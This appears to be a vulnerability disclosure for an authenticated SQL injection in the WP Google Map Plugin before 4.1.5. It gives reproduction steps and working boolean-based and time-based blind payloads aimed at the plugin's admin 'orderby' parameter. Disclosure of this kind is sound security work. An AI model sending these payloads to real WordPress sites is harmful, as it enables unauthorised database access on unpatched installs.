WP Google Map Plugin < 4.1.5 - Authenticated SQL Injection

- Vulnerable parameters: `order` and `orderby`

1. Add at least two locations (via /wp-admin/admin.php?page=wpgmp_form_location) and execute sleep query:

https://example.com/wp-admin/admin.php?page=wpgmp_manage_location&order=desc&orderby=(sleep(5))

2. The request will be delayed by 10 seconds.

---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: https://example.com/wp-admin/admin.php?page=wpgmp_manage_location&order=asc&orderby=(SELECT (CASE WHEN (2605=2605) THEN '' ELSE (SELECT 3517 UNION SELECT 5558) END))

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: https://example.com/wp-admin/admin.php?page=wpgmp_manage_location&order=asc&orderby=(CASE WHEN (6922=6922) THEN SLEEP(5) ELSE 6922 END)
---